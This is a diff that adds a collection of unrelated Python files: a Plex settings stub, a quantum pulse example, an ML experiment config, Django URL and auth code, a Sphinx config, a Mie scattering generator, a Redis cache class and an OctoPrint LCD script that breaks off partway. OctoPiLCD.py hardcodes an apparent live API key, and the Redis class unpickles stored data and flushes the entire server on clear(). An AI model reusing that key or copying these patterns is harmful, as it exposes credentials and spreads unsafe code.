http://blog.tvalacarta.info/plugin-xbmc/pelisalacarta/ +#------------------------------------------------------------ +import os +from types import * + +PLUGIN_NAME = "tvalacarta" +PLATFORM_NAME = "plex" + +def is_xbmc(): + return False + +def get_system_platform(): + return "" + +def open_settings(): + return + +def get_platform(): + return "plex" + +def get_setting(name,channel=""): + + if name=="cache.dir": + return "" + + if name=="debug": + return "false" + + if name=="download.enabled": + return "false" + + if name=="cookies.dir": + return os.getcwd() + + if name=="cache.mode": + return "2" + + if name=="thumbnail_type": + return "2" + + else: + import bridge + try: + devuelve = bridge.get_setting(name) + except: + devuelve = "" + + if type(devuelve) == BooleanType: + if devuelve: + devuelve = "true" + else: + devuelve = "false" + + return devuelve + +def set_setting(name,value): + return "" + +def get_localized_string(code): + import bridge + return bridge.get_localized_string(code) + +def get_library_path(): + return "" + +def get_temp_file(filename): + return "" + +def get_runtime_path(): + return os.path.abspath( os.path.join( os.path.dirname(__file__) , ".." ) ) + +def get_data_path(): + return os.getcwd() + +def get_cookie_data(): + import os + ficherocookies = os.path.join( get_data_path(), 'cookies.lwp' ) + + cookiedatafile = open(ficherocookies,'r') + cookiedata = cookiedatafile.read() + cookiedatafile.close(); + + return cookiedata diff --git a/pool/shard009/Python/0083879_b10.py b/pool/shard009/Python/0083879_b10.py new file mode 100644 index 0000000000000000000000000000000000000000..f9c45a7ca96ed0850ad770e071197ebfba86bd20 --- /dev/null +++ b/pool/shard009/Python/0083879_b10.py @@ -0,0 +1,25 @@ +from qgl2.qgl2 import concur, qreg, qgl2decl +from qgl2.qgl2 import sequence, pulse, qgl2main, classical + +from qgl2.qgl1 import QubitFactory, X90, Y90, X, MEAS, Utheta, Xtheta +from qgl2.qgl1 import Call, BlockLabel, Goto, LoadRepeat, Repeat, Return +from qgl2.qgl1 import CmpEq + +from qgl2.util import init + +@qgl2decl +def loopy3(a: qreg, b: qreg): + for _ in range(2): + X90(a) + Utheta(b) + +@qgl2main +def main(): + + q1 = QubitFactory('q1') + q2 = QubitFactory('q2') + + loopy3(q1, q2) + + + diff --git a/pool/shard009/Python/0083880_simple_example.py b/pool/shard009/Python/0083880_simple_example.py new file mode 100644 index 0000000000000000000000000000000000000000..9aab2002bf2db0f0fd0b13b72eb0a6e2652980cc --- /dev/null +++ b/pool/shard009/Python/0083880_simple_example.py @@ -0,0 +1,69 @@ +# Numenta Platform for Intelligent Computing (NuPIC) +# Copyright (C) 2020, Numenta, Inc. Unless you have an agreement +# with Numenta, Inc., for a separate license for this software code, the +# following terms and conditions apply: +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero Public License version 3 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU Affero Public License for more details. +# +# You should have received a copy of the GNU Affero Public License +# along with this program. If not, see http://www.gnu.org/licenses. +# +# http://numenta.org/licenses/ +# +# +# Below is a basic model/experiment config and the run function to evaluate it +# +import numpy as np +import torch +from torchvision import datasets, transforms + +from nupic.research.frameworks.pytorch.models.common_models import StandardMLP +from nupic.research.frameworks.vernon.experiments import SupervisedExperiment + +mnist_mlp = dict( + dataset_class=datasets.MNIST, # Using a new data-set such as datasets.CIFAR10 is + # straightforward; simply ensure that input-size is appropriately updated + dataset_args=dict( + root="~/nta/datasets", + download=True, # Download if not present in the directory + transform=transforms.ToTensor(), + ), + model_class=StandardMLP, + model_args=dict(input_size=(28, 28), num_classes=10), + batch_size=32, + epochs=3, # Number of epochs to train the network + epochs_to_validate=np.arange(3), # A list of the epochs to evaluate accuracy on + num_classes=10, + distributed=False, # Whether or not to use Pytorch Distributed training to + # parallelize computations across processes and clusters of machines + experiment_class=SupervisedExperiment, # General experiment class used to train + # neural networks in supervised learning tasks + optimizer_class=torch.optim.Adam, + optimizer_args=dict( + lr=1e-4 + ), # Optimizer_args is used to initialize the optimizer, so any param that e.g. + # Adam takes as an argument can be included +) + + +def run_experiment(config): + exp = config.get("experiment_class")() + exp.setup_experiment(config) + print(f"Training started....") + while not exp.should_stop(): + # print(f"Starting epoch: {exp.get_current_epoch()}") + result = exp.run_epoch() + print(f"Finished Epoch: {exp.get_current_epoch()}") + print(f"Accuracy: {result['mean_accuracy']:.4f}") + print(f"....Training finished") + + +if __name__ == "__main__": + run_experiment(mnist_mlp) diff --git a/pool/shard009/Python/0083885_urls.py b/pool/shard009/Python/0083885_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..42da98ff2010a5bbb871445ba93e18134d9385a5 --- /dev/null +++ b/pool/shard009/Python/0083885_urls.py @@ -0,0 +1,25 @@ +"""psycoDjango URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/1.10/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.conf.urls import url, include + 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) +""" +from django.conf.urls import include, url +from django.contrib import admin + +urlpatterns = [ + url(r'^admin/', admin.site.urls), + url(r'^account/', include('account.urls')), + url(r'^blog/', include('blog.urls')), + url(r'^dojo/', include('dojo.urls')), + url(r'^shop/', include('shop.urls')), +] \ No newline at end of file diff --git a/pool/shard009/Python/0083894_init__.py b/pool/shard009/Python/0083894_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..3e6a32f443ba9077b68371fb18eb1f7aba1916b3 --- /dev/null +++ b/pool/shard009/Python/0083894_init__.py @@ -0,0 +1,36 @@ +from django.utils.deconstruct import deconstructible + +__all__ = ("make_escape_function", "MakeUploadTo") + + +def make_escape_function(autoescape=True): + """ + Create an escape function based on the desired autoescape behavior. + + Args: + autoescape (bool): Whether or not this template tag should escape text + + """ + from django.utils.html import conditional_escape + + if autoescape: + return conditional_escape + return lambda x: x + + +@deconstructible +class MakeUploadTo: + """Make a Django FileField upload_to callable that names files with a uuid.""" + + def __init__(self, prefix): + self.prefix = prefix + + def __call__(self, instance, filename): + import os + import uuid + + del instance + + _, extension = os.path.splitext(filename) + mangled_name = "{}{}".format(uuid.uuid4().hex, extension) + return os.path.join(self.prefix, mangled_name) diff --git a/pool/shard009/Python/0083897_0002_person_registration_code_text.py b/pool/shard009/Python/0083897_0002_person_registration_code_text.py new file mode 100644 index 0000000000000000000000000000000000000000..d717e7dea310270351991350cdd5d4bc10f96951 --- /dev/null +++ b/pool/shard009/Python/0083897_0002_person_registration_code_text.py @@ -0,0 +1,22 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import models, migrations +import datetime +from django.utils.timezone import utc + + +class Migration(migrations.Migration): + dependencies = [ + ('registration', '0001_initial'), + ] + + operations = [ + migrations.AddField( + model_name='person', + name='registration_code_text', + field=models.CharField(default=datetime.datetime(2015, 1, 18, 22, 38, 53, 606608, tzinfo=utc), + max_length=24), + preserve_default=False, + ), + ] diff --git a/pool/shard009/Python/0083898_regbackend.py b/pool/shard009/Python/0083898_regbackend.py new file mode 100644 index 0000000000000000000000000000000000000000..31b2e6d2bde6751519367497dc7eb15a64608701 --- /dev/null +++ b/pool/shard009/Python/0083898_regbackend.py @@ -0,0 +1,24 @@ +from django.contrib.auth import get_user_model + + +class EmailLoginBackend(object): + ''' + This class checks that the user can be authenticated via our backend and if it fails than normal authentication backend is used. + ''' + + def authenticate(self, username=None, password=None): + user_cls = get_user_model() + try: + user = user_cls.objects.get(email=username) + if user.check_password(password): + return user + except user_cls.DoesNotExist: + return None + return None + + def get_user(self, user_id): + user_cls = get_user_model() + try: + return user_cls.objects.get(pk=user_id) + except user_cls.DoesNotExist: + return None diff --git a/pool/shard009/Python/0083901_urls.py b/pool/shard009/Python/0083901_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..61684c7aba80123637ca90a34d6985aa4625460d --- /dev/null +++ b/pool/shard009/Python/0083901_urls.py @@ -0,0 +1,25 @@ +# Copyright (c) 2010-2013 by Yaco Sistemas or +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with this programe. If not, see . + +try: + from django.conf.urls import include, patterns, url +except ImportError: # Django < 1.4 + from django.conf.urls.defaults import include, patterns, url + + +urlpatterns = patterns('testing.unusual_fields.views', + url(r'^$', 'unusual_index', name='unusual_index'), + url(r'^(?P\w+)/$', 'unusual_edit', name="unusual_edit"), +) diff --git a/pool/shard009/Python/0083907_init__.py b/pool/shard009/Python/0083907_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..47e377bc61488073ff354571f34f6bedcb2b66cb --- /dev/null +++ b/pool/shard009/Python/0083907_init__.py @@ -0,0 +1,61 @@ +# GSDView - Geo-Spatial Data Viewer +# Copyright (C) 2008-2021 Antonio Valentino +# +# This module is free software you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation either version 2 of the License, or +# (at your option) any later version. +# +# This module is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this module if not, write to the Free Software Foundation, Inc., +# 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 US + +"""Position tracker.""" + +from .info import * +from .info import __version__, __requires__ + + +__all__ = [ + 'init', 'close', 'loadSettings', 'saveSettings', + 'name', 'version', 'short_description', 'description', + 'author', 'author_email', 'copyright', 'license_type', + 'website', 'website_label', +] + +_instance = None + + +def init(app): + from .core import TrackingTool + + tool = TrackingTool(app) + + statusbar = app.statusBar() + statusbar.addPermanentWidget(tool.coorview) + statusbar.addPermanentWidget(tool.geocoorview) + + app.progressbar.installEventFilter(tool) + + global _instance + _instance = tool + + +def close(app): + saveSettings(app.settings) + + global _instance + _instance = None + + +def loadSettings(settings): + pass + + +def saveSettings(settings): + pass diff --git a/pool/shard009/Python/0083908_471e6f7722a7_add_fastcache_for_avoiding_retrieving_.py b/pool/shard009/Python/0083908_471e6f7722a7_add_fastcache_for_avoiding_retrieving_.py new file mode 100644 index 0000000000000000000000000000000000000000..312e8bb4be9a7459d9197d9706739533ad6725da --- /dev/null +++ b/pool/shard009/Python/0083908_471e6f7722a7_add_fastcache_for_avoiding_retrieving_.py @@ -0,0 +1,34 @@ +"""Add FastCache for avoiding retrieving the app_url in every single update + +Revision ID: 471e6f7722a7 +Revises: 6d09f595667 +Create Date: 2015-04-14 07:40:57.006143 + +""" + +# revision identifiers, used by Alembic. +revision = '471e6f7722a7' +down_revision = '6d09f595667' + +from alembic import op +import sqlalchemy as sa + + +def upgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.create_table('TranslationFastCaches', + sa.Column('id', sa.Integer(), nullable=False), + sa.Column('app_url', sa.Unicode(length=255), nullable=True), + sa.Column('translation_url', sa.Unicode(length=255), nullable=True), + sa.Column('original_messages', sa.UnicodeText(), nullable=True), + sa.PrimaryKeyConstraint('id') + ) + op.create_index(u'ix_TranslationFastCaches_app_url', 'TranslationFastCaches', ['app_url'], unique=True) + ### end Alembic commands ### + + +def downgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.drop_index(u'ix_TranslationFastCaches_app_url', table_name='TranslationFastCaches') + op.drop_table('TranslationFastCaches') + ### end Alembic commands ### diff --git a/pool/shard009/Python/0083915_conf.py b/pool/shard009/Python/0083915_conf.py new file mode 100644 index 0000000000000000000000000000000000000000..7774a4d7f55e3aed529b74fa8156d050bc7cb111 --- /dev/null +++ b/pool/shard009/Python/0083915_conf.py @@ -0,0 +1,248 @@ +# -*- coding: utf-8 -*- +# +# sphinxcontrib-testbuild documentation build configuration file, created by +# sphinx-quickstart on Thu Jan 31 11:48:26 2013. +# +# This file is execfile()d with the current directory set to its containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +from os.path import dirname, join + + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +#sys.path.insert(0, os.path.abspath('.')) + +# -- General configuration ----------------------------------------------------- + +# If your documentation needs a minimal Sphinx version, state it here. +#needs_sphinx = '1.0' + +# Add any Sphinx extension module names here, as strings. They can be extensions +# coming with Sphinx (named 'sphinx.ext.*') or your custom ones. +extensions = ['sphinx.ext.autodoc', + 'sphinx.ext.doctest', + 'sphinx.ext.coverage'] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The suffix of source filenames. +source_suffix = '.txt' + +# The encoding of source files. +#source_encoding = 'utf-8-sig' + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = u'sphinxcontrib-testbuild' +copyright = u'2013, Benoît Bryon' + +# The version info for the project you're documenting, acts as replacement for +# |version| and |release|, also used in various other places throughout the +# built documents. +# +# The short X.Y version. +version_file = join(dirname(dirname(__file__)), 'VERSION') +version = open(version_file).read().strip() +# The full version, including alpha/beta/rc tags. +release = version + +# The language for content autogenerated by Sphinx. Refer to documentation +# for a list of supported languages. +#language = None + +# There are two options for replacing |today|: either, you set today to some +# non-false value, then it is used: +#today = '' +# Else, today_fmt is used as the format for a strftime call. +#today_fmt = '%B %d, %Y' + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +exclude_patterns = ['_build'] + +# The reST default role (used for this markup: `text`) to use for all documents. +#default_role = None + +# If true, '()' will be appended to :func: etc. cross-reference text. +#add_function_parentheses = True + +# If true, the current module name will be prepended to all description +# unit titles (such as .. function::). +#add_module_names = True + +# If true, sectionauthor and moduleauthor directives will be shown in the +# output. They are ignored by default. +#show_authors = False + +# The name of the Pygments (syntax highlighting) style to use. +pygments_style = 'sphinx' + +# A list of ignored prefixes for module index sorting. +#modindex_common_prefix = [] + + +# -- Options for HTML output --------------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +html_theme = 'default' + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +#html_theme_options = {} + +# Add any paths that contain custom themes here, relative to this directory. +#html_theme_path = [] + +# The name for this set of Sphinx documents. If None, it defaults to +# " v documentation". +#html_title = None + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (relative to this directory) to place at the top +# of the sidebar. +#html_logo = None + +# The name of an image file (within the static path) to use as favicon of the +# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 +# pixels large. +#html_favicon = None + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + +# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, +# using the given strftime format. +#html_last_updated_fmt = '%b %d, %Y' + +# If true, SmartyPants will be used to convert quotes and dashes to +# typographically correct entities. +#html_use_smartypants = True + +# Custom sidebar templates, maps document names to template names. +html_sidebars = { + '**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html'], +} + +# Additional templates that should be rendered to pages, maps page names to +# template names. +#html_additional_pages = {} + +# If false, no module index is generated. +#html_domain_indices = True + +# If false, no index is generated. +#html_use_index = True + +# If true, the index is split into individual pages for each letter. +#html_split_index = False + +# If true, links to the reST sources are added to the pages. +#html_show_sourcelink = True + +# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. +#html_show_sphinx = True + +# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. +#html_show_copyright = True + +# If true, an OpenSearch description file will be output, and all pages will +# contain a tag referring to it. The value of this option must be the +# base URL from which the finished HTML is served. +#html_use_opensearch = '' + +# This is the file name suffix for HTML files (e.g. ".xhtml"). +#html_file_suffix = None + +# Output file base name for HTML help builder. +htmlhelp_basename = 'sphinxcontrib-testbuilddoc' + + +# -- Options for LaTeX output -------------------------------------------------- + +latex_elements = { +# The paper size ('letterpaper' or 'a4paper'). +#'papersize': 'letterpaper', + +# The font size ('10pt', '11pt' or '12pt'). +#'pointsize': '10pt', + +# Additional stuff for the LaTeX preamble. +#'preamble': '', +} + +# Grouping the document tree into LaTeX files. List of tuples +# (source start file, target name, title, author, documentclass [howto/manual]). +latex_documents = [ + ('index', 'sphinxcontrib-testbuild.tex', u'sphinxcontrib-testbuild Documentation', + u'Benoît Bryon', 'manual'), +] + +# The name of an image file (relative to this directory) to place at the top of +# the title page. +#latex_logo = None + +# For "manual" documents, if this is true, then toplevel headings are parts, +# not chapters. +#latex_use_parts = False + +# If true, show page references after internal links. +#latex_show_pagerefs = False + +# If true, show URL addresses after external links. +#latex_show_urls = False + +# Documents to append as an appendix to all manuals. +#latex_appendices = [] + +# If false, no module index is generated. +#latex_domain_indices = True + + +# -- Options for manual page output -------------------------------------------- + +# One entry per manual page. List of tuples +# (source start file, name, description, authors, manual section). +man_pages = [ + ('index', 'sphinxcontrib-testbuild', u'sphinxcontrib-testbuild Documentation', + [u'Benoît Bryon'], 1) +] + +# If true, show URL addresses after external links. +#man_show_urls = False + + +# -- Options for Texinfo output ------------------------------------------------ + +# Grouping the document tree into Texinfo files. List of tuples +# (source start file, target name, title, author, +# dir menu entry, description, category) +texinfo_documents = [ + ('index', 'sphinxcontrib-testbuild', u'sphinxcontrib-testbuild Documentation', + u'Benoît Bryon', 'sphinxcontrib-testbuild', 'One line description of project.', + 'Miscellaneous'), +] + +# Documents to append as an appendix to all manuals. +#texinfo_appendices = [] + +# If false, no module index is generated. +#texinfo_domain_indices = True + +# How to display URL addresses: 'footnote', 'no', or 'inline'. +#texinfo_show_urls = 'footnote' diff --git a/pool/shard009/Python/0083918_mieGenerator.py b/pool/shard009/Python/0083918_mieGenerator.py new file mode 100644 index 0000000000000000000000000000000000000000..1469af107a0d4d851652d954cc9e3316a74ce023 --- /dev/null +++ b/pool/shard009/Python/0083918_mieGenerator.py @@ -0,0 +1,202 @@ +# +# Copyright 2015 VTT Technical Research Center of Finland +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from datetime import datetime +from multiprocessing import Pool + +import h5py as h5 +import numpy as np +import pandas as pd + +from . import scatteringTools as st +from .bhmie_herbert_kaiser_july2012 import bhmie + + +def calculateMie(data): + # Extract data + (p, w, n_p, n_medium, th, n_theta, x_rv) = data + # Size parameter + # x - size parameter = k*radius = 2pi/lambda * radius + # (lambda is the wavelength in the medium around the scatterers) + x = np.pi * p / (w / n_medium) + # Mie parameters + (S1, S2, Qext, Qsca, Qback, gsca) = bhmie(x, n_p / n_medium, n_theta) + # Phase function + P = (np.absolute(S1) ** 2.0 + np.absolute(S2) ** 2.0) / \ + (Qsca * x ** 2.0) + # Cumulative distribution + cP = st.cumulativeDistributionTheta(P, th) + # Normalize + cP /= cP[-1] + + # Inverse cumulative distribution for random variable picking + cPinv = st.invertNiceFunction(np.degrees(th), cP, x_rv) + + pD = {} + pD['particleDiameter'] = p + pD['sizeParameter'] = x + pD['wavelength'] = w + pD['crossSections'] = Qext * np.pi * (p / 2.0) ** 2.0 + pD['inverseCDF'] = cPinv + pD['phaseFunction'] = P + pD['cumulativePhaseFunction'] = cP + + # Return generated data + return pD + + +def generateMieData(wavelengths, number_of_rvs, number_of_theta_angles, + n_particle, n_silicone, p_diameters): + ''' + Mie generator + + Remember to use the same units in wavelengths and p_diameters + ''' + print("#########################################") + print("Calculating Mie data...") + print("Wavelengths %.1f - %.1f (%d)" % + (wavelengths[0], wavelengths[-1], len(wavelengths))) + print("Particle diams %.1f - %.1f, (%d)" % + (p_diameters[0], p_diameters[-1], len(p_diameters))) + print("n_host %f, n_particle %s" % + (n_silicone, n_particle.__format__('.2f'))) + print("Number of RVs: %d" % number_of_rvs) + print("Number of Theta angles: %d" % number_of_theta_angles) + startTime = datetime.now() + x_rv = np.linspace(0, 1, number_of_rvs) + + n_tht = number_of_theta_angles + th = np.linspace(0, np.pi, 2 * n_tht - 1) + + # Make data for mie calculation queues + pData = [] + for p in p_diameters: + for wave in wavelengths: + pData.extend([(p, wave, n_particle, n_silicone, th, n_tht, x_rv)]) + + # Start pool + pool = Pool(processes=10) + # Start calculating + result = pool.map(calculateMie, pData) + + # Make data into DataFrame + df = pd.DataFrame(result.get()) + + print() + print('Calculation took:') + print(str(datetime.now() - startTime).split('.', 2)[0]) + print("#########################################") + + return(df) + + +def generateMieDataEffective(wavelengths, number_of_theta_angles, + n_particle, n_silicone, p_diameters, + p_normed_weights_dict, + number_of_rvs=1001): + ''' + Mie generator + + Remember to use the same units in wavelengths and p_diameters + ''' + print("#########################################") + print("Calculating Mie data...") + startTime = datetime.now() + x_rv = np.linspace(0, 1, number_of_rvs) + + n_tht = number_of_theta_angles + th = np.linspace(0, np.pi, 2 * n_tht - 1) + + # Make data for mie calculation queues + pData = [] + for p in p_diameters: + for wave in wavelengths: + pData.extend([(p, wave, n_particle, n_silicone, th, n_tht, x_rv)]) + + # Start pool + pool = Pool(processes=10) + # Start calculating + result = pool.map_async(calculateMie, pData) + + print('Calculating effective data...') + + # Make data into DataFrame + df = pd.DataFrame(result.get()) + df['weight'] = df['particleDiameter'].apply( + lambda x: p_normed_weights_dict[x]) + + # Calculate effective data + df['particleDiameter'] = df['particleDiameter'] * df.weight + df['crossSections'] = df['crossSections'] * df.weight + df['inverseCDF'] = df['inverseCDF'] * df.weight + g = df.groupby('wavelength') + + dd = g.agg({'particleDiameter': 'sum', + 'crossSections': 'sum', + 'inverseCDF': lambda x: list(np.sum(list(x.values), axis=0))}) + dd['particleDiameter'] = dd['particleDiameter'].mean() + + print() + print('Calculation took alltogether:') + print(str(datetime.now() - startTime).split('.', 2)[0]) + print("#########################################") + + return(dd.reset_index()) + + +def saveMieDataToHDF5(df_list, + particle_diameters, + wavelengths, + out_fname): + print("Saving Mie-data...") + + # print(df.info()) + + # Create file for saving data + f = h5.File(out_fname, "w") + + # Save each particle diameter + f.create_dataset("particleDiameter", + data=particle_diameters) + f.create_dataset("wavelengths", + data=wavelengths) + + # Group values for each particle type. + pDataG = f.create_group("particleData") + p_id = 0 + for df in df_list: + # print(df['crossSections']) + groups = df.groupby('particleDiameter') + + for name, g in groups: + grp = pDataG.create_group(str(p_id)) + g = g.sort('wavelength') + # Save each inverseCDF. + # Column = wavelength + # Row = inverseCDF + grp.create_dataset("inverseCDF", + data=np.vstack(g['inverseCDF'].values).T) + # Save crosssections for each wavelength + grp.create_dataset("crossSections", + data=g['crossSections'].values) + p_id += 1 + + # Save identifier for each particle size + f.create_dataset("particleID", + data=np.arange(p_id)) + + f.close() + print("Saved!") diff --git a/pool/shard009/Python/0083924_RedisItemPool.py b/pool/shard009/Python/0083924_RedisItemPool.py new file mode 100644 index 0000000000000000000000000000000000000000..f8fe40af58663b7334983127c295e8279c9eb6e8 --- /dev/null +++ b/pool/shard009/Python/0083924_RedisItemPool.py @@ -0,0 +1,153 @@ +import cPickle +import redis +from datetime import datetime + +from pycache.Adapter.CacheItemPoolInterface import CacheItemPoolInterface +from pycache.cacheItem import CacheItem +from pycache.settings import PREFIX as prefix + +# -*- coding: utf-8 -*- +""" +RedisItemPool. + +This module generates CacheItemInterface objects. + +""" + + +class RedisItemPool(CacheItemPoolInterface): + + def __init__(self, client=redis.Redis(host='localhost',port=6379), PREFIX=prefix): + self.client = client + self.key_prefix = PREFIX+":" + + def get_item(self, key): + """Returns a Cache Item representing the specified key. + + Note: + This method must always return a CacheItemInterface object, even in case of + a cache miss. It MUST NOT return null. + + :param key: The key for which to return the corresponding Cache Item. + + :exception CacheException: If the `key` string is not a legal value + + :return The corresponding Cache Item. + + """ + + if self.has_item(key): + key = self.normalize_key(key) + item_str = self.client.get(key) + item = cPickle.loads(item_str) + item.isHit = True + return item + else: + item = CacheItem() + + item.key = key + return item + + + def get_items(self, keys=None): + """Returns a traversable set of cache items. + + :param keys: An indexed array of keys of items to retrieve. + + :exception CacheException: If any of the keys in `keys` are not a legal value + + :return + A traversable collection of Cache Items keyed by the cache keys of + each item. A Cache item will be returned for each key, even if that + key is not found. However, if no keys are specified then an empty + traversable MUST be returned instead. + + """ + items = [] + for key in keys: + items.append(self.get_item(key)) + return items + + + def has_item(self, key): + """Confirms if the cache contains specified cache item. + + Note: + This method MAY avoid retrieving the cached value for performance reasons. + This could result in a race condition with CacheItemInterface::get(). To avoid + such situation use CacheItemInterface::isHit() instead. + + :param key: The key for which to check existence. + + :exception CacheException: If any of the keys in `keys` are not a legal value + + :return True if item exists in the cache, false otherwise. + + """ + return self.client.exists(self.normalize_key(key)) + + + def clear(self): + """Deletes all items in the pool. + + :return True if the pool was successfully cleared. False if there was an error. + + """ + return self.client.flushall() + + + def delete_item(self, key): + """Removes the item from the pool. + + :param key: The key for which to delete + + :exception CacheException: If any of the keys in `keys` are not a legal value + + :return True if the item was successfully removed. False if there was an error. + + """ + return self.client.delete(self.normalize_key(key)) + + + def save(self, item): + """Persists a cache item immediately. + + :param item: The cache item to save. + + :return True if the item was successfully persisted. False if there was an error. + + """ + + if item.expire_at != datetime.max: + expire_seconds = (item.expire_at - datetime.utcnow()).seconds + if expire_seconds > 0: + return self.client.setex(self.normalize_key(item.key), + cPickle.dumps(item), expire_seconds) + else: + return False + else: + return self.client.set(self.normalize_key(item.key), + cPickle.dumps(item)) + + + def save_deferred(self, item): + """Sets a cache item to be persisted later. + + :param item: The cache item to save. + + :return False if the item could not be queued or if a commit was attempted and failed. True otherwise. + + """ + return False + + + def commit(self): + """Persists any deferred cache items. + + :return True if all not-yet-saved items were successfully saved or there were none. False otherwise. + + """ + return True + + def normalize_key(self, key): + return self.key_prefix+cPickle.dumps(key) diff --git a/pool/shard009/Python/0083927_OctoPiLCD.py b/pool/shard009/Python/0083927_OctoPiLCD.py new file mode 100644 index 0000000000000000000000000000000000000000..bfe4d00e7fbb5169562d8a408003c158b3e5a5e9 --- /dev/null +++ b/pool/shard009/Python/0083927_OctoPiLCD.py @@ -0,0 +1,172 @@ +# OctoPiLCD +# Script for connecting an LCD display to Octoprint + +import requests +from time import sleep +import time +import Adafruit_CharLCD as LCD +from types import NoneType + +# Get your API KEy from Octoprint Settings panel +key = '21F625DE287F42A2879C9BEBFCFBDEE2' + +class DisplayLCD(object): + + # Raspberry Pi configuration: + lcd_rs = 27 # Change this to pin 21 on older revision Raspberry Pi's + lcd_en = 22 + lcd_d4 = 25 + lcd_d5 = 24 + lcd_d6 = 23 + lcd_d7 = 18 + lcd_red = 4 + lcd_green = 17 + lcd_blue = 7 # Pin 7 is CE1 + + # Define LCD column and row size for 16x2 LCD. + lcd_columns = 16 + lcd_rows = 2 + + # Initialize the LCD using the pins above. + lcd = LCD.Adafruit_RGBCharLCD(lcd_rs, lcd_en, lcd_d4, lcd_d5, lcd_d6, lcd_d7, + lcd_columns, lcd_rows, lcd_red, lcd_green, lcd_blue) + + def updateDisplay(self, pData): + self.lcd.clear() + self.lcd.set_color(pData.colorR, pData.colorG, pData.colorB) + self.lcd.message(pData.message) + + def sayGoodbye(self): + self.lcd.clear() + self.lcd.set_color(0,0,0) + +class PrintData(object): + # Setup Octopi API Interaction + post_params = {} + file_endpoint = 'http://octopi.local/api/files' + job_endpoint = 'http://octopi.local/api/job' + printer_endpoint = 'http://octopi.local/api/printer' + + remain = 0 + fileName = 'None' + completion = 0.0 + printTime = 0 + colorR = 0.0 + colorG = 0.0 + colorB = 0.0 + message = 'No Message' + printing = True + toolTemp = 0.0 + bedTemp = 0.0 + + def __init__(self, key): + # Nothing to do + self.query_headers = {'X-Api-Key': key, + 'Content-Type': 'application/json'} + + def updatePrintData(self): + #file_response = requests.get(self.file_endpoint, headers=self.query_headers) + #file_data = file_response.json() + job_response = requests.get(self.job_endpoint, headers=self.query_headers) + job_data = job_response.json() + + # Relevant paramters for simple retrieving + self.remain = job_data['progress']['printTimeLeft'] + self.fileName = job_data['job']['file']['name'] + self.printTime = job_data['progress']['printTime'] + self.completion = job_data['progress']['completion'] + + # Get Printer Data, only works if printer is connected + printer_response = requests.get(self.printer_endpoint, headers=self.query_headers) + printer_data = printer_response.json() + self.toolTemp = printer_data['temps']['tool0']['actual'] + self.toolTarget = printer_data['temps']['tool0']['target'] + self.bedTemp = printer_data['temps']['bed']['actual'] + self.bedTarget = printer_data['temps']['bed']['target'] + + def checkPrinter(self): + if isinstance(self.completion, NoneType): + return False + if self.completion < 100.0: + return True + + def getRemain(self): + if isinstance(self.remain, int): + return time.strftime("%H:%M:%S", time.gmtime(self.remain)) + else: + return 'None' + + def getPrintTime(self): + if isinstance(self.printTime, int): + return time.strftime("%H:%M:%S", time.gmtime(self.printTime)) + else: + return 'None' + + def getCompletion(self): + if isinstance(self.completion, NoneType): + return 'None' + else: + return "%0.2f" % (self.completion) + + def getToolTemp(self): + if isinstance(self.toolTemp, NoneType): + return 'N/A' + else: + return "%0.1f" % (self.toolTemp) + '/' + "%0.1f" % (self.toolTarget) + + def getBedTemp(self): + if isinstance(self.bedTemp, NoneType): + return 'N/A' + else: 